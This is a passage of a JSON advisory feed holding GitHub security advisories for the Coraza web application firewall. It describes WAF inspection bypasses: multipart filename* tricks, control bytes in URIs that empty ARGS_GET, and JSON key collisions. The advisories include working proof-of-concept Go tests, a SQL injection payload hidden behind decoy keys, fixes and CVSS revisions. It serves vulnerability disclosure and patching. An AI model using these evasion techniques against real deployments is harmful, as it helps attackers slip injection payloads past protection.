`filename=\"safe.jpg\"; filename*=...''shell.php` order; the swapped order (`filename=\"shell.php\"; filename*=...''safe.jpg`) is now a dedicated regression case, since that gap in coverage is exactly why the one-sided version shipped in the first place.\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: an RFC 2231 numbered continuation (`filename*0=`, `filename*0*=`, ...) next to a bare `filename*` parameter now sets `MULTIPART_STRICT_ERROR`, and the Content-Disposition duplicate-parameter check added in 3.8.0 is now linear instead of quadratic in the number of parameters. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity is High because the bypass depends on a specific backend behaviour outside the attacker's control. Go's `mime.ParseMediaType` and PHP resolve the same filename Coraza did, so they are not affected. The discrepancy exists only for backends that decode a non-UTF-8 `filename*` or treat a `filename*`-only part as a file, such as Werkzeug/Flask and busboy-based Node.js backends (Express with multer, Fastify). The continuation case fixed in 3.8.1 is resolved only by Werkzeug. The previous vector scored Attack Complexity Low (5.8).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-3wr7-993q-jrff","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-3wr7-993q-jrff","type":"advisory","title":"OSV GHSA-3wr7-993q-jrff"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-3wr7-993q-jrff","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/5427c501b2fea6ae1305903efef01b3049224a58","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/b2a9264437116bdd98a86fe345b2aec1152d3d7c","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:36.000Z","addedAt":"2026-10-08T18:42:42.119Z","updatedAt":"2026-10-08T18:42:42.119Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-3wr7-993q-jrff"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-3wr7-993q-jrff"}]},{"id":"0f960b54-b98c-4ebd-a526-88e7ce2bd10f","slug":"ghsa-x26q-wvhg-fh4m","externalId":"GHSA-x26q-wvhg-fh4m","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: ProcessURI silently drops QUERY_STRING and ARGS_GET on URI parse failure — defense-in-depth bypass for non-net/http integrations","description":"## Root Cause\n\nFile: `internal/corazawaf/transaction.go`, lines 834–866.\n\n```go\nparsedURL, err := url.ParseRequestURI(uri)\nquery := \"\"\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    path = uri\n    tx.variables.requestURI.Set(uri)\n    /*\n        tx.Variables.VARIABLE_URI_PARSE_ERROR.Set(\"1\")\n        posRawQuery := strings.Index(uri, \"?\")\n        if posRawQuery != -1 {\n            tx.ExtractArguments(\"GET\", uri[posRawQuery+1:])\n            path = uri[:posRawQuery]\n            query = uri[posRawQuery+1:]\n        } else {\n            path = uri\n        }\n        tx.Variables.RequestUri.Set(uri)\n    */\n} else {\n    tx.ExtractGetArguments(parsedURL.RawQuery)   // only path that populates ARGS_GET\n    tx.variables.requestURI.Set(parsedURL.String())\n    path = parsedURL.Path\n    query = parsedURL.RawQuery\n}\n...\ntx.variables.queryString.Set(query)\n```\n\nWhen `url.ParseRequestURI(uri)` returns an error — which Go's stdlib does for any URI containing raw control bytes (`\\x00`, `\\n`, `\\r`, `\\t`, other `0x00–0x1F`, `0x7F`) — the error branch silently produces an empty `QUERY_STRING` and an empty `ARGS_GET` collection. The fallback logic that should split on `?` and populate the GET arguments from the raw tail is already present in the source as a commented-out block, referencing a `VARIABLE_URI_PARSE_ERROR` variable that was never wired up.\n\nConsequences on the error branch:\n\n- `ARGS_GET` / `ARGS_GET_NAMES` / `ARGS` (union) are **empty** — `ExtractGetArguments` is never called.\n- `QUERY_STRING` is **empty** (initial `query := \"\"` at line 835 persists through to `queryString.Set(query)` at line 866).\n- `REQUEST_FILENAME` / `REQUEST_BASENAME` contain the entire URI including any `?…` query suffix (because `path = uri` at line 838 bypasses the parse, and the subsequent `strings.LastIndexAny(path, \"/\\\\\")` runs over the raw URI).\n- `URLENCODED_ERROR` is set to the Go error message. That variable is *also* set by the urlencoded body processor on body-decode failures, so an operator cannot distinguish \"malformed URI\" from \"malformed request body\" without string-matching the error text.\n- `REQUEST_URI_RAW` (set unconditionally at line 822, before the parse) **is** populated correctly.\n\nAny rule targeting `ARGS_GET`, `ARGS`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `QUERY_STRING` — which is the default target set for the vast majority of OWASP CRS GET-side signature rules — does not fire against attacker content that reaches Coraza via a URI Go's `net/url` rejects.\n\n## Reachability\n\nThis issue **does not affect the standard `coraza/v3/http` + `net/http` integration**. Go's `http.ReadRequest` calls `url.ParseRequestURI` first and rejects malformed URIs with `400 Bad Request` before `ProcessURI` is invoked. Verified experimentally against a Coraza-wrapped `net/http` server — a raw request with a control-byte-laced URI produced `HTTP 400`, and the handler was never reached.\n\nThe bug is reachable when an integration forwards raw URI bytes to `tx.ProcessURI` directly, bypassing Go's HTTP parser:\n\n- **`coraza-spoa`** — HAProxy SPOP agent. Receives URI from HAProxy, which permits bytes `net/http` rejects.\n- **`coraza-proxy-wasm`** — Envoy WASM filter. Passes the `:path` pseudo-header from Envoy.\n- Custom FFI/WASM hosts and any embedder calling `tx.ProcessURI(rawURI, method, httpVersion)` with bytes not pre-validated by Go's URL parser.\n\nThis gates the attack to Attack Complexity:High — a standard Go HTTP deployment is not exposed.\n\n## Proof of Concept\n\nDirect-API reproduction (simulating the non-net/http integration path):\n\n```go\nwaf, _ := coraza.NewWAF(coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRule ARGS_GET     \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:1,deny,status:403\"\nSecRule QUERY_STRING \"@contains ATTACK_HERE_XYZ\" \"id:9002,phase:1,deny,status:403\"\n`))\n\nfor _, uri := range []string{\n    \"/search?q=ATTACK_HERE_XYZ\",                    // baseline\n    \"/search?q=ATTACK_HERE_XYZ\\x00&y=1\",            // NUL byte\n    \"/search?q=ATTACK_HERE_XYZ\\ninjected: header\",  // bare LF\n    \"/search?q=ATTACK_HERE_XYZ\\rhdr: x\",            // bare CR\n    \"/search?q=ATTACK_HERE_XYZ\\tx=1\",               // tab\n} {\n    tx := waf.NewTransaction()\n    tx.ProcessURI(uri, \"GET\", \"HTTP/1.1\")\n    it := tx.ProcessRequestHeaders()\n    // inspect tx.Variables().QueryString().Get() and tx.Variables().ArgsGet().FindAll()\n    tx.Close()\n}\n```\n\nObserved:\n\n| URI | `QUERY_STRING` | `ARGS_GET` | interrupted? |\n|---|---|---|---|\n| `/search?q=ATTACK_HERE_XYZ` | `q=ATTACK_HERE_XYZ` | 1 entry | **yes (403)** |\n| `/search?q=ATTACK_HERE_XYZ\\x00&y=1` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\ninjected: header` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\rhdr: x` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\tx=1` | `\"\"` | 0 entries | **no — BYPASS** |\n\n`REQUEST_URI_RAW` is populated correctly in every case (line 822 sets it before the parse), so a rule written against `REQUEST_URI_RAW` still catches the attack. CRS and most operator-written rules target `ARGS_GET` / `ARGS` / `QUERY_STRING` — those do not fire.\n\nHTTP-layer reachability check (stock `net/http`):\n\n```\n$ printf 'GET /?q=ATTACK_HERE_XYZ\\x00&y=1 HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n' | nc 127.0.0.1 8092\nHTTP/1.1 400 Bad Request\n```\n\nConfirms the exposure is limited to non-net/http integrations.\n\n## Mitigation\n\nRecommended fixes, in order:\n\n### 1. Re-enable the existing fallback and wire up `URI_PARSE_ERROR`\n\nThe code to fix this is already present as a commented-out block at `transaction.go:840–851`. Re-enable it, promote the referenced `VARIABLE_URI_PARSE_ERROR` to a real transaction variable, and populate `ARGS_GET` / `QUERY_STRING` from the raw `?…` tail:\n\n```go\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    tx.variables.uriParseError.Set(\"1\")               // new variable\n    tx.variables.requestURI.Set(uri)\n    if i := strings.Index(uri, \"?\"); i != -1 {\n        path = uri[:i]\n        query = uri[i+1:]\n        tx.ExtractGetArguments(query)                  // populate ARGS_GET\n    } else {\n        path = uri\n    }\n} else {\n    ...\n}\n```\n\n### 2. Ship a companion rule in `coraza.conf-recommended`\n\n```conf\nSecRule URI_PARSE_ERROR \"@eq 1\" \\\n    \"id:'200010',phase:1,t:none,log,deny,status:400,msg:'URI failed to parse'\"\n```\n\nThis gives operators a fail-closed default (analogous to rule 200003 for multipart strict error and rule 200002 for body-parse error), so non-net/http integrations at least stop the request regardless of downstream rule coverage.\n\n### 3. Do not overload `URLENCODED_ERROR`\n\nThe current code uses `URLENCODED_ERROR` for URI parse failures. That variable is also set by the urlencoded body processor on body-decode errors; operators cannot distinguish the two causes without string-matching the error text, and any rule they add will fire on both classes of failure. A dedicated `URI_PARSE_ERROR` variable (per the commented-out TODO) is the right shape.\n\n## Affected versions\n\nAll releases on the v3 branch (`>= 3.0.0, <= 3.7.0`); the silent-drop behavior has been present since the first v3 release. Only deployments using non-net/http integrations (coraza-spoa, coraza-proxy-wasm, custom FFI) are exposed in practice.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 834–866 (ProcessURI error branch)\n- `internal/corazawaf/transaction.go` line 822 (`REQUEST_URI_RAW` is populated before the parse, which is why `REQUEST_URI_RAW`-targeted rules still catch the attack)\n- Commented-out fallback at lines 840–851 referencing `VARIABLE_URI_PARSE_ERROR`\n- CWE-20 — Improper Input Validation\n- CWE-436 — Interpretation Conflict\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity stays High: the bypass only applies to integrations that pass Coraza a raw URI that Go's URL parser rejects, which `net/http` does not. The previous vector scored Integrity High (6.8); it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-x26q-wvhg-fh4m","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-x26q-wvhg-fh4m","type":"advisory","title":"OSV GHSA-x26q-wvhg-fh4m"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-x26q-wvhg-fh4m","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/0321af96cef18fbafb40980cf075d7cc449a66fa","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:46:00.000Z","addedAt":"2026-10-08T18:42:41.862Z","updatedAt":"2026-10-08T18:42:41.862Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-x26q-wvhg-fh4m"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-x26q-wvhg-fh4m"}]},{"id":"43c75833-2492-4e9f-abd9-daa94e9b859d","slug":"ghsa-5gj4-9gm7-2fx2","externalId":"GHSA-5gj4-9gm7-2fx2","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection","description":"### Summary\n\nCoraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable\n\nAn unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:\n\n```json\n{\n  \"account\": {\n    \"role\": \"1' OR '1'='1\"\n  },\n  \"account.role\": \"safe\"\n}\n```\n\nCoraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.\n\nThis bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.\n\n### Details\n\nThe affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48).\n\n`readJSON` creates a single `map[string]string` and begins every generated path with `json`:\n\n```go\nfunc readJSON(s string, maxRecursion int) (map[string]string, error) {\n    res := make(map[string]string)\n    key := []byte(\"json\")\n\n    json := gjson.Parse(s)\n    err := readItems(json, key, maxRecursion, res)\n    // ...\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94).\n\nFor every object level, `readItems` appends a literal dot followed by the unescaped property name:\n\n```go\nprevParentLength := len(objKey)\nobjKey = append(objKey, '.')\nif key.Type == gjson.String {\n    objKey = append(objKey, key.Str...)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120).\n\nScalar values are stored in the map using the resulting flattened string:\n\n```go\nres[string(objKey)] = val\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145).\n\nThis produces a collision:\n\n```text\nNested property:       {\"account\":{\"role\":\"ATTACK\"}}\nGenerated Coraza key:  json.account.role\n\nLiteral dotted key:    {\"account.role\":\"SAFE\"}\nGenerated Coraza key:  json.account.role\n```\n\nBecause both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.\n\n`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:\n\n```go\ndata, err := readJSON(ss, bpo.RequestBodyRecursionLimit)\nfor key, value := range data {\n    col.SetIndex(key, 0, value)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39).\n\nThe JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `\"account.role\"` property.\n\nCoraza's [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.\n\nThe bypass was reproduced against CRS v4.25 under all of the following configurations:\n\n- Default build\n- `coraza.no_memoize`\n- `coraza.rule.multiphase_evaluation`\n- `coraza.rule.no_regex_multiline`\n\n### PoC\n\nThe PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:\n\n1. CRS blocks the malicious nested value when no collision exists.\n2. The dotted decoy makes the same CRS configuration permit the request.\n3. Go's standard JSON parser still exposes the malicious nested value to the backend.\n\n1. Save the following file as `testing/coreruleset/json_collision_security_test.go`:\n\n```go\npackage coreruleset\n\nimport (\n    \"encoding/json\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/corazawaf/coraza/v3\"\n    coreruleset \"github.com/corazawaf/coraza-coreruleset/v4\"\n)\n\nfunc TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {\n    recommended, err := os.ReadFile(\n        filepath.Join(\"..\", \"..\", \"coraza.conf-recommended\"),\n    )\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    cfg := coraza.NewWAFConfig().\n        WithRootFS(coreruleset.FS).\n        WithDirectives(string(recommended)).\n        WithDirectives(\"SecRuleEngine On\").\n        WithDirectives(\"Include @crs-setup.conf.example\").\n        WithDirectives(\"Include @owasp_crs/*.conf\")\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    tests := []struct {\n        name      string\n        body      string\n        wantBlock bool\n    }{\n        {\n            name:      \"attack without collision is blocked\",\n            body:      `{\"account\":{\"role\":\"1' OR '1'='1\"}}`,\n            wantBlock: true,\n        },\n        {\n            name: \"same attack with dotted decoy bypasses CRS\",\n            body: `{\"account\":{\"role\":\"1' OR '1'='1\"},` +\n                `\"account.role\":\"safe\"}`,\n            wantBlock: false,\n        },\n    }\n\n    for _, tt := range tests {\n        t.Run(tt.name, func(t *testing.T) {\n            // Prove what a normal backend sees before running Coraza.\n            var backend struct {\n                Account struct {\n                    Role string `json:\"role\"`\n                } `json:\"account\"`\n            }\n            if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {\n                t.Fatal(err)\n            }\n            if backend.Account.Role != \"1' OR '1'='1\" {\n                t.Fatalf(\"backend lost attack value: %q\", backend.Account.Role)\n            }\n\n            tx := waf.NewTransaction()\n            defer tx.Close()\n\n            tx.ProcessConnection(\"127.0.0.1\", 12345, \"127.0.0.1\", 80)\n            tx.ProcessURI(\"/\", \"POST\", \"HTTP/1.1\")\n            tx.AddRequestHeader(\"Host\", \"localhost\")\n            tx.AddRequestHeader(\"User-Agent\", \"security-test\")\n            tx.AddRequestHeader(\"Content-Type\", \"application/json\")\n\n            if interruption := tx.ProcessRequestHeaders(); interruption != nil {\n                t.Fatalf(\"unexpected header interruption: %#v\", interruption)\n            }\n\n            interruption, _, err := tx.WriteRequestBody([]byte(tt.body))\n            if err != nil || interruption != nil {\n                t.Fatalf(\"body write: interruption=%#v error=%v\", interruption, err)\n            }\n\n            interruption, err = tx.ProcessRequestBody()\n            if err != nil {\n                t.Fatal(err)\n            }\n\n            blocked := interruption != nil\n            t.Logf(\"blocked=%v interruption=%#v\", blocked, interruption)\n            if blocked != tt.wantBlock {\n                t.Fatalf(\"blocked=%v, want %v\", blocked, tt.wantBlock)\n            }\n        })\n    }\n}\n```\n\n2. Run the default-build test:\n\n```bash\ncd testing/coreruleset\ngo test -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\n3. Expected reproduction output:\n\n```text\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked\n    blocked=true interruption=&types.Interruption{RuleID:949110, Action:\"deny\", Status:403, Data:\"\"}\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS\n    blocked=false interruption=(*types.Interruption)(nil)\n--- PASS: TestJSONFlattenedKeyCollisionBypassesCRS\nPASS\n```\n\n4. The build-tag variants can be reproduced with:\n\n```bash\ngo test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\nAll four configurations produced the same result: the control was blocked by CRS rule `949110`, while the collision request passed without interruption.\n\n### Impact\n\nThis is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.\n\nAn unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.\n\nThe primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:\n\n- SQL injection payloads\n- operating-system command injection payloads\n- cross-site scripting payloads\n- server-side template injection payloads\n- path traversal and local-file-inclusion payloads\n- language- or framework-specific exploit strings\n- forbidden application values inspected by custom SecLang rules\n\nThe PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.\n\nApplications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property.\n\nThe final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.\n\nThe remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection\n\n## Follow-up (2026-09-30): case-folding variant still overwrites values\n\nThe \"Resolution\" section above states values are copied into\n`ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding\nkey becomes a multi-valued collection entry. That closes the collision this\nadvisory originally reported (two flattened keys with byte-identical text),\nbut a second, distinct collision shares the exact same failure mode and was\nfound while verifying the fix.\n\n### Root cause\n\n`ARGS_POST` is case-insensitive by default (case-sensitive only under the\n`coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is\n*always* case-insensitive regardless of that tag\n(`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ\nonly by case -- `json.account.role` vs `json.account.Role` -- are distinct\nentries in `readJSON`'s own case-sensitive intermediate map\n(`map[string][]string`), but fold to the *same* collection bucket once\nwritten through `SetIndex`:\n\n```go\n// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse\nfor key, values := range data {\n    for i, value := range values {\n        col.SetIndex(key, i, value)\n    }\n}\n```\n\nEach `SetIndex(key, i, value)` call addresses index `i` of whatever bucket\n`key` case-folds to, with no knowledge that a different-cased key is also\nwriting to that same bucket. Iteration order over `data` (a plain Go map) is\nrandomized, so whichever of the two keys is visited *second* overwrites\nindex 0 of whichever was visited *first* -- deterministically leaving\nexactly one survivor every single request, just an unpredictable one.\n\n### PoC\n\n```json\n{\"account\":{\"role\":\"1' OR '1'='1\",\"Role\":\"safe\"}}\n```\n\nOver 200 trials of `readJSON` + `SetIndex` against this body, the attack\nvalue (`1' OR '1'='1`) survived only 22 times (11%); the harmless value\n(`safe`) silently replaced it the other 178 times. With CRS v4.25 and the\nrecommended configuration, an equivalent SQLi rule blocked only 8/100\nrequests with one decoy key and 14/100 with seven decoy keys planted at\ndifferent case variants -- both Node.js and Python's JSON parsers keep\n`role = \"1' OR '1'='1\"` in every case, so this is a real bypass, not a\nparser-disagreement edge case. `RESPONSE_ARGS` is affected identically, and\nremains affected even when Coraza is built with\n`coraza.rule.case_sensitive_args_keys`, since that tag does not change\n`RESPONSE_ARGS`'s case-insensitivity.\n\n### Fix\n\nUse `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add`\nalways appends regardless of any index, so both a same-case collision (this\nadvisory's original case: one `data` key holding an ordered slice of values)\nand a case-folding collision (two different `data` keys landing in the same\nbucket) end up with every value preserved. The existing regression test for\nthe original collision\n(`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a\nspecific value order) still passes unchanged, since a single `data` key's\nown value order is unaffected by switching from indexed writes to appends. A\nnew `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order\nindependent, since the two colliding values now come from different `data`\nkeys whose relative processing order is randomized) fails deterministically\nagainst the pre-fix code (asserts 2 values, gets 1, every run) and passes\nafter the fix.\n\nFull suite, build-tag matrix (`coraza.no_memoize`,\n`coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`,\n`coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS\nregression suite all pass. ADR-0058 has been amended with the same\nfollow-up note (still `proposed`, so amending in place is appropriate rather\nthan superseding it).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape (including the CRS block-rate figures) were supplied by the\n  reporter as an existing written finding; Claude Sonnet 5 independently\n  re-derived the root cause by reading the current source\n  (`internal/bodyprocessors/json.go`, `internal/collections/map.go`),\n  reproduced the overwrite empirically (200-trial measurement against\n  commit `19b86824`), verified the fix closes the gap, and drafted this\n  addendum and the ADR-0058 amendment.\n- **Review performed:** reproduced by hand against a clean checkout of\n  commit `19b86824` before and after the fix, confirming the pre-fix code\n  always yields exactly one survivor (never both, never neither) and the\n  post-fix code always yields both; added and ran\n  `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it\n  fails against the pre-fix code and passes against the fix, and confirmed\n  the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`\n  (order-sensitive) still passes unchanged; ran the full test suite, the\n  build-tag matrix, and the `testing/coreruleset` CRS regression suite, all\n  green; reviewed by a human maintainer (fzipi) before this addendum was\n  submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-5gj4-9gm7-2fx2","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2","type":"advisory","title":"OSV GHSA-5gj4-9gm7-2fx2"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2","type":"other","title":"OSV 